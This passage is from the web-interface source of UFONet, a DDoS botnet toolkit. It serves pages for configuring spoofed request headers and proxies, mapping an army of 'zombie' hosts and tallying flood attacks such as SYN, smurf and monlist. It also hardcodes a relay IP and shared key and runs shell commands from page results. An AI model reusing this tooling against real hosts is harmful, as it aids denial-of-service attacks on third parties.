webgui.py 307 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219322032213222322332243225322632273228322932303231323232333234323532363237323832393240324132423243324432453246324732483249325032513252325332543255325632573258325932603261326232633264326532663267326832693270327132723273327432753276327732783279328032813282328332843285328632873288328932903291329232933294329532963297329832993300330133023303330433053306330733083309331033113312331333143315331633173318331933203321332233233324332533263327332833293330333133323333333433353336333733383339334033413342334333443345334633473348334933503351335233533354335533563357335833593360336133623363336433653366336733683369337033713372337333743375337633773378337933803381338233833384338533863387338833893390339133923393339433953396339733983399340034013402340334043405340634073408340934103411341234133414341534163417341834193420342134223423342434253426342734283429343034313432343334343435343634373438343934403441344234433444344534463447344834493450345134523453345434553456345734583459346034613462346334643465346634673468346934703471347234733474347534763477347834793480348134823483348434853486348734883489349034913492349334943495349634973498349935003501350235033504350535063507350835093510351135123513351435153516351735183519352035213522352335243525352635273528352935303531353235333534353535363537353835393540354135423543354435453546354735483549355035513552355335543555355635573558355935603561356235633564356535663567356835693570357135723573357435753576357735783579358035813582358335843585358635873588358935903591359235933594359535963597359835993600360136023603360436053606360736083609361036113612361336143615361636173618361936203621362236233624362536263627362836293630363136323633363436353636363736383639364036413642364336443645364636473648364936503651365236533654365536563657365836593660366136623663366436653666366736683669367036713672367336743675367636773678367936803681368236833684368536863687368836893690369136923693369436953696369736983699370037013702370337043705370637073708370937103711371237133714371537163717371837193720372137223723372437253726372737283729373037313732373337343735373637373738373937403741374237433744374537463747374837493750375137523753375437553756375737583759376037613762376337643765376637673768376937703771377237733774377537763777377837793780378137823783378437853786378737883789379037913792379337943795379637973798379938003801380238033804380538063807380838093810381138123813381438153816381738183819382038213822382338243825382638273828382938303831383238333834383538363837383838393840384138423843384438453846384738483849385038513852385338543855385638573858385938603861386238633864386538663867386838693870387138723873387438753876387738783879388038813882388338843885388638873888388938903891389238933894389538963897389838993900390139023903390439053906390739083909391039113912391339143915391639173918391939203921392239233924392539263927392839293930393139323933393439353936393739383939394039413942394339443945394639473948394939503951395239533954395539563957395839593960396139623963396439653966396739683969397039713972397339743975397639773978397939803981398239833984398539863987398839893990399139923993399439953996399739983999400040014002400340044005400640074008400940104011401240134014401540164017401840194020402140224023402440254026402740284029403040314032403340344035403640374038403940404041404240434044404540464047404840494050405140524053405440554056405740584059406040614062406340644065406640674068406940704071407240734074407540764077407840794080408140824083408440854086408740884089409040914092409340944095409640974098409941004101410241034104410541064107410841094110411141124113411441154116411741184119412041214122412341244125412641274128412941304131413241334134413541364137413841394140414141424143414441454146414741484149415041514152415341544155415641574158415941604161416241634164416541664167416841694170417141724173417441754176417741784179418041814182418341844185418641874188418941904191419241934194419541964197419841994200420142024203420442054206420742084209421042114212421342144215421642174218421942204221422242234224422542264227422842294230423142324233423442354236423742384239424042414242424342444245424642474248424942504251425242534254425542564257425842594260426142624263426442654266426742684269427042714272427342744275427642774278427942804281428242834284428542864287428842894290429142924293429442954296429742984299430043014302430343044305430643074308430943104311431243134314431543164317431843194320432143224323432443254326432743284329433043314332433343344335433643374338433943404341434243434344434543464347434843494350435143524353435443554356435743584359436043614362436343644365436643674368436943704371437243734374437543764377437843794380438143824383438443854386438743884389439043914392439343944395439643974398439944004401440244034404440544064407440844094410441144124413441444154416441744184419442044214422442344244425442644274428442944304431443244334434443544364437443844394440444144424443444444454446444744484449445044514452445344544455445644574458445944604461446244634464446544664467446844694470447144724473447444754476447744784479448044814482448344844485448644874488448944904491449244934494449544964497449844994500450145024503450445054506450745084509451045114512451345144515451645174518451945204521452245234524452545264527452845294530453145324533453445354536453745384539454045414542454345444545454645474548454945504551455245534554455545564557455845594560456145624563456445654566456745684569457045714572457345744575457645774578457945804581458245834584458545864587458845894590459145924593459445954596459745984599460046014602460346044605460646074608460946104611461246134614461546164617461846194620462146224623462446254626462746284629463046314632463346344635463646374638463946404641464246434644464546464647464846494650465146524653465446554656465746584659466046614662466346644665466646674668466946704671467246734674467546764677467846794680468146824683468446854686468746884689469046914692469346944695469646974698469947004701470247034704470547064707470847094710471147124713471447154716471747184719472047214722472347244725472647274728472947304731473247334734473547364737473847394740474147424743474447454746474747484749475047514752475347544755475647574758475947604761476247634764476547664767476847694770477147724773477447754776477747784779478047814782478347844785478647874788478947904791479247934794479547964797479847994800480148024803480448054806480748084809481048114812481348144815481648174818481948204821482248234824482548264827482848294830483148324833483448354836483748384839484048414842484348444845484648474848484948504851485248534854485548564857485848594860486148624863486448654866486748684869487048714872487348744875487648774878487948804881488248834884488548864887488848894890489148924893489448954896489748984899490049014902490349044905490649074908490949104911491249134914491549164917491849194920492149224923492449254926492749284929493049314932493349344935493649374938493949404941494249434944494549464947494849494950495149524953495449554956495749584959496049614962496349644965496649674968496949704971497249734974497549764977497849794980498149824983498449854986498749884989499049914992499349944995499649974998499950005001500250035004500550065007500850095010501150125013501450155016501750185019502050215022502350245025502650275028502950305031503250335034503550365037503850395040504150425043504450455046504750485049505050515052505350545055505650575058505950605061506250635064506550665067506850695070507150725073507450755076507750785079508050815082508350845085508650875088508950905091509250935094509550965097509850995100510151025103510451055106510751085109511051115112511351145115511651175118511951205121512251235124512551265127512851295130513151325133513451355136513751385139514051415142514351445145514651475148514951505151515251535154515551565157515851595160516151625163516451655166516751685169517051715172517351745175517651775178517951805181
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import socket, threading, re, os, time, random, base64
  11. import webbrowser, subprocess, json, sys
  12. import urllib.request, urllib.error, urllib.parse
  13. from core.tools.crypter import Cipher
  14. from time import gmtime, strftime, strptime
  15. from Crypto.Cipher import AES
  16. from hashlib import sha1, sha256
  17. from decimal import Decimal
  18. from random import shuffle
  19. from urllib.parse import urlparse as urlparse
  20. from .options import UFONetOptions
  21. from .main import UFONet
  22. from core.tools.abductor import Abductor
  23. #######SET-YOUR-BLACKHOLE-CONF-HERE###############################D
  24. default_blackhole = '176.28.23.46' # default blackhole #
  25. crypto_key = "U-NATi0n!" # default enc/dec (+moderator board) key #
  26. ###################################################################
  27. blackhole_sep = "|" # blackhole stream separator
  28. board_msg_sep = "#!#" # board stream separator
  29. grid_msg_sep = "#?#" # grid stream seperator
  30. wargames_msg_sep = "#-#" # wargames stream seperator
  31. host = "0.0.0.0"
  32. port = 9999
  33. class ClientThread(threading.Thread):
  34. def __init__(self, ip, port, socket):
  35. threading.Thread.__init__(self)
  36. self.ip = ip
  37. self.port = port
  38. self.socket = socket
  39. self.pages = Pages()
  40. def run(self):
  41. req = self.socket.recv(2048)
  42. res = self.pages.get(req)
  43. if res is None:
  44. self.socket.close()
  45. return
  46. out = "HTTP/1.0 %s\r\n" % res["code"]
  47. out += "Content-Type: %s\r\n\r\n" % res["ctype"]
  48. out += "%s" % res["html"]
  49. try:
  50. self.socket.send(out.encode('utf-8'))
  51. except:
  52. self.socket.send(out)
  53. self.socket.close()
  54. if "run" in res and len(res["run"]):
  55. subprocess.Popen(res["run"], shell=True)
  56. class Pages():
  57. def file_len(self, fn):
  58. with open(fn) as f:
  59. for i, l in enumerate(f):
  60. pass
  61. return i + 1
  62. def html_army_map(self,target=None):
  63. try:
  64. target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file)) )+"\ninitMap()\n\n"
  65. except:
  66. target_js="not any zombie available\n\n"
  67. if target is not None:
  68. target_js += "$('#ufomsg').load('/js/ajax.js?doll="+target+"')\n"
  69. return self.pages["/header"] + """
  70. <link rel="stylesheet" href="/js/style.css" />
  71. <link rel="stylesheet" href="/js/ajaxmap.css" />
  72. <link rel="stylesheet" href="/js/leaflet/leaflet.css" />
  73. <link rel="stylesheet" href="/js/cluster/MarkerCluster.Default.css"/>
  74. <link rel="stylesheet" href="/js/cluster/MarkerCluster.css"/>
  75. <script src="/js/leaflet/leaflet.js"></script>
  76. <script src="/js/cluster/leaflet.markercluster-src.js"></script>
  77. <script src="/js/jquery-1.10.2.min.js"></script>
  78. <script src="/js/rlayer-src.js"></script>
  79. <script src="/js/raphael.js"></script>
  80. <script src="/js/ufo.js"></script>
  81. <script src="/js/ajax.js"></script>
  82. </head><body bgcolor="black" text="black">
  83. <div id="wrapper">
  84. <div id="map" style="width: 100%; height: 100%"></div>
  85. </div>
  86. <script type="text/javascript">
  87. window.onload = function(){
  88. """+target_js+"""
  89. }
  90. </script>
  91. <center>
  92. """ + self.pages["/footer"]
  93. def html_request_submit(self):
  94. return self.pages["/header"]+"""<script>
  95. window.setTimeout(window.close,1234)
  96. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  97. <center>settings updated"""+self.pages["/footer"]
  98. def html_requests(self):
  99. # read requests configuration file (json)
  100. try:
  101. with open(self.mothership_webcfg_file) as data_file:
  102. data = json.load(data_file)
  103. except:
  104. if os.path.exists(self.mothership_webcfg_file) == True:
  105. print('[Error] [AI] Cannot open: "core/json/webcfg.json" -> [Aborting!]\n')
  106. return
  107. else: # generate default requests configuration file
  108. print('[Info] [AI] Cannot found: "core/json/webcfg.json" -> [Generating!]')
  109. with open(self.mothership_webcfg_file, "w") as f:
  110. json.dump({"rproxy": "NONE", "ruseragent": "RANDOM", "rreferer": "RANDOM", "rhost": "NONE", "rxforw": "on", "rxclient": "on", "rtimeout": "10", "rretries": "1", "rdelay": "0", "threads": "5", "rssl": "off"}, f, indent=4)
  111. # set values of requests configuration from json file to html form
  112. with open(self.mothership_webcfg_file) as data_file:
  113. data = json.load(data_file)
  114. self.agents = [] # generating available user-agents
  115. f = open(self.agents_file)
  116. agents = f.readlines()
  117. f.close()
  118. for agent in agents:
  119. self.agents.append(agent)
  120. self.user_agent = random.choice(self.agents).strip()
  121. self.rproxy = data["rproxy"]
  122. if self.rproxy == "NONE":
  123. self.rproxy = ""
  124. self.ruseragent = data["ruseragent"]
  125. if self.ruseragent == "RANDOM":
  126. self.ruseragent = self.user_agent # random user-agent
  127. self.rreferer = data["rreferer"]
  128. if self.rreferer == "RANDOM":
  129. self.rreferer = self.referer # random referer
  130. self.rhost = data["rhost"]
  131. if self.rhost == "NONE":
  132. self.rhost = ""
  133. self.rxforw = data["rxforw"]
  134. if self.rxforw == "on":
  135. self.rxforw_check = 'checked'
  136. else:
  137. self.rxforw_check = ''
  138. self.rxclient = data["rxclient"]
  139. if self.rxclient == "on":
  140. self.rxclient_check = 'checked'
  141. else:
  142. self.rxclient_check = ''
  143. self.rtimeout = data["rtimeout"]
  144. self.rretries = data["rretries"]
  145. self.rdelay = data["rdelay"]
  146. self.threads = data["threads"]
  147. self.rssl = data["rssl"]
  148. if self.rssl == "on":
  149. self.rssl_check = 'checked'
  150. else:
  151. self.rssl_check = ''
  152. return self.pages["/header"] + """
  153. <script language="javascript">
  154. function Requests() {
  155. var win_requests = window.open("requests","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  156. }
  157. </script>
  158. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  159. <u>Configure requests:</u>
  160. <table cellpadding="2" cellspacing="2">
  161. <form method='GET'>
  162. <tr>
  163. <td> Use proxy server:</td>
  164. <td> <input type="text" name="rproxy" value='"""+str(self.rproxy)+"""'></td>
  165. </tr>
  166. <tr>
  167. <td> Use another HTTP User-Agent header:</td>
  168. <td> <input type="text" name="ruseragent" value='"""+str(self.ruseragent)+"""'></td>
  169. </tr>
  170. <tr>
  171. <td> Use another HTTP Referer header:</td>
  172. <td> <input type="text" name="rreferer" value='"""+str(self.rreferer)+"""'></td>
  173. </tr>
  174. <tr>
  175. <td> Use another HTTP Host header:</td>
  176. <td> <input type="text" name="rhost" value='"""+str(self.rhost)+"""'></td>
  177. </tr>
  178. <tr>
  179. <td> Set your HTTP X-Forwarded-For with random IP values:</td>
  180. <td> <input type="checkbox" name='rxforw' """+self.rxforw_check+"""></td>
  181. </tr>
  182. <tr>
  183. <td> Set your HTTP X-Client-IP with random IP values:</td>
  184. <td> <input type="checkbox" name='rxclient' """+self.rxclient_check+"""></td>
  185. </tr>
  186. <tr>
  187. <td> Select your timeout:</td>
  188. <td> <input type="text" name="rtimeout" value='"""+str(self.rtimeout)+"""'></td>
  189. </tr>
  190. <tr>
  191. <td> Retries when the connection timeouts:</td>
  192. <td> <input type="text" name="rretries" value='"""+str(self.rretries)+"""'></td>
  193. </tr>
  194. <tr>
  195. <td> Delay in seconds between each HTTP request:</td>
  196. <td> <input type="text" name="rdelay" value='"""+str(self.rdelay)+"""'></td>
  197. </tr>
  198. <tr>
  199. <td> Number of threads:</td>
  200. <td> <input type="text" name="threads" value='"""+str(self.threads)+"""'></td>
  201. </tr>
  202. <tr>
  203. <td> Force usage of SSL/HTTPS requests:</td>
  204. <td> <input type="checkbox" name='rssl' """+self.rssl_check+"""></td>
  205. </tr>
  206. </table>
  207. <hr>
  208. <input type="hidden" name="update" value="1">
  209. <input type="submit" value="Set!" onclick="Requests()"></pre>
  210. </form>
  211. """ + self.pages["/footer"]
  212. def html_board_profile_submit(self):
  213. return self.pages["/header"]+"""<script>
  214. window.setTimeout(window.close,1234)
  215. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  216. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  217. def html_grid_profile_submit(self):
  218. return self.pages["/header"]+"""<script>
  219. window.setTimeout(window.close,1234)
  220. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  221. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  222. def profile_crew(self, icon):
  223. files = os.listdir("core/images/crew/")
  224. if icon == "NONE":
  225. icon = "link1"
  226. html_stream = ""
  227. html_stream += "<table cellspacing='2' cellpadding='5'><form method='GET'><tr>"
  228. for f in files:
  229. id = str(f.replace(".txt", ""))
  230. value = str(f.replace(".txt", ""))
  231. if icon == value:
  232. checked = " CHECKED"
  233. else:
  234. checked = ""
  235. crew_img = open("core/images/crew/"+value+".txt").read()
  236. html_stream += "<td><input type='radio' name='profile_icon' id='"+id+"' value='"+value+"'"+ checked+"><img src='data:image/png;base64,"+crew_img+"'></td>"
  237. html_stream += "</tr></table>"
  238. return html_stream
  239. def html_board_profile(self):
  240. try:
  241. with open(self.mothership_boardcfg_file) as data_file:
  242. data = json.load(data_file)
  243. except:
  244. if os.path.exists(self.mothership_boardcfg_file) == True:
  245. print('[Error] [AI] Cannot open: "core/json/boardcfg.json" -> [Aborting!]\n')
  246. return
  247. else:
  248. print('[Info] [AI] Cannot found: "core/json/boardcfg.json" -> [Generating!]')
  249. with open(self.mothership_boardcfg_file, "w") as f:
  250. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  251. f.close()
  252. with open(self.mothership_boardcfg_file) as data_file:
  253. data = json.load(data_file)
  254. self.profile_token = str(random.getrandbits(128)) # generating random token hash
  255. self.profile_icon = data["profile_icon"]
  256. self.profile_nick = data["profile_nick"]
  257. self.profile_nick.encode('utf-8')
  258. return self.pages["/header"] + """
  259. <script language="javascript">
  260. function BoardProfile() {
  261. var win_board = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  262. }
  263. </script>
  264. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  265. <u>Configure profile:</u>
  266. <table cellpadding="2" cellspacing="2">
  267. <form method='GET'>
  268. <tr>
  269. <td> <u>OPERATOR/LINK:</u></td>
  270. <td> """+self.profile_crew(self.profile_icon)+"""</td>
  271. </tr>
  272. <tr>
  273. <td> <u>NICKNAME:</u></td>
  274. <td> <input type="text" name="profile_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.profile_nick+"""'></td>
  275. </tr>
  276. </table>
  277. <hr>
  278. <input type="hidden" name="update" value="1">
  279. <input type="submit" value="Set!" onclick="BoardProfile()"></pre>
  280. </form>
  281. """ + self.pages["/footer"]
  282. def html_grid_profile(self):
  283. try:
  284. with open(self.mothership_gridcfg_file) as data_file:
  285. data = json.load(data_file)
  286. except:
  287. if os.path.exists(self.mothership_gridcfg_file) == True:
  288. print('[Error] [AI] Cannot open: "core/json/gridcfg.json" -> [Aborting!]\n')
  289. return
  290. else:
  291. print('[Info] [AI] Cannot found: "core/json/gridcfg.json" -> [Generating!]')
  292. with open(self.mothership_gridcfg_file, "w") as f:
  293. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  294. f.close()
  295. with open(self.mothership_gridcfg_file) as data_file:
  296. data = json.load(data_file)
  297. self.grid_token = str(random.getrandbits(128)) # generating random token hash
  298. self.grid_contact = data["grid_contact"]
  299. self.grid_contact.encode('utf-8')
  300. self.grid_nick = data["grid_nick"]
  301. self.grid_nick.encode('utf-8')
  302. return self.pages["/header"] + """
  303. <script language="javascript">
  304. function GridProfile() {
  305. var win_board = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  306. }
  307. </script>
  308. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  309. <u>Configure grid profile:</u><br>
  310. <table cellpadding="2" cellspacing="2">
  311. <form method='GET'>
  312. <tr>
  313. <td> <u>NICKNAME:</u></td>
  314. <td> <input type="text" name="grid_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.grid_nick+"""'></td>
  315. </tr>
  316. <tr>
  317. <td> <u>EMAIL/URL (CONTACT):</u></td>
  318. <td> <input type="text" name="grid_contact" pattern=".{8,120}" required title="8 to 120 characters" value='"""+self.grid_contact+"""'></td>
  319. </tr>
  320. </table>
  321. <hr>
  322. <input type="hidden" name="update" value="1">
  323. <input type="submit" value="Set!" onclick="GridProfile()"></pre>
  324. </form>
  325. """ + self.pages["/footer"]
  326. def html_board_remove(self):
  327. try:
  328. with open(self.mothership_boardcfg_file, "w") as f:
  329. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  330. except:
  331. return
  332. return self.pages["/header"]+"""<script>
  333. window.setTimeout(window.close,1234)
  334. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  335. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  336. def html_grid_remove(self):
  337. try:
  338. with open(self.mothership_gridcfg_file, "w") as f:
  339. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  340. except:
  341. return
  342. return self.pages["/header"]+"""<script>
  343. window.setTimeout(window.close,1234)
  344. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  345. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  346. def html_stats(self):
  347. total_extra_attacks = int(self.aloic) + int(self.aloris) + int(self.aufosyn) + int(self.aspray) + int(self.asmurf) + int(self.axmas) + int(self.anuke) + int(self.atachyon) + int(self.amonlist)
  348. if self.ranking == "Rookie": # Rookie
  349. your_ranking = "<font color='white'>Rookie [*]</font>"
  350. elif self.ranking == "Mercenary": # Mercenary
  351. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  352. elif self.ranking == "Bandit": # Bandit
  353. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  354. elif self.ranking == "UFOmmander!": # UFOmmander!
  355. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  356. elif self.ranking == "UFOl33t!": # UFOl33t!
  357. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  358. else:
  359. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  360. return self.pages["/header"] + """<script language="javascript">
  361. function Ranking() {
  362. var win_grid = window.open("ranking","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  363. }
  364. function Grid() {
  365. var win_grid = window.open("grid","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  366. }
  367. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  368. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  369. <center>
  370. <table cellpadding="5" cellspacing="5"><tr>
  371. <td><img src='data:image/png;base64,"""+self.mothership_img+"""'></td>
  372. <td>STATS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button></td>
  373. </tr></table>
  374. <table border="0" cellpadding="5" cellspacing="10"><tr><td>
  375. <table border="1" cellpadding="5" cellspacing="10"><tr>
  376. <td><b><u>General:</u></b></td></tr>
  377. <tr>
  378. <td>RANKING:</td><td align='right'>""" + str(your_ranking) + """</td></tr>
  379. <tr><td>Flying (times):</td><td align='right'><font color='red'>""" + str(self.aflying) + """</font></td></tr>
  380. </table>
  381. <br>
  382. <table border="1" cellpadding="5" cellspacing="10"><tr>
  383. <td><b><u>Missions:</u></b></td></tr>
  384. <tr>
  385. <td>Created (launched):</td><td align='right'><font color='red'>""" + str(self.amissions) + """</font></td></tr>
  386. <tr>
  387. <td>Attacks (completed):</td><td align='right'><font color='blue'>""" + str(self.acompleted) + """</font></td></tr>
  388. <tr>
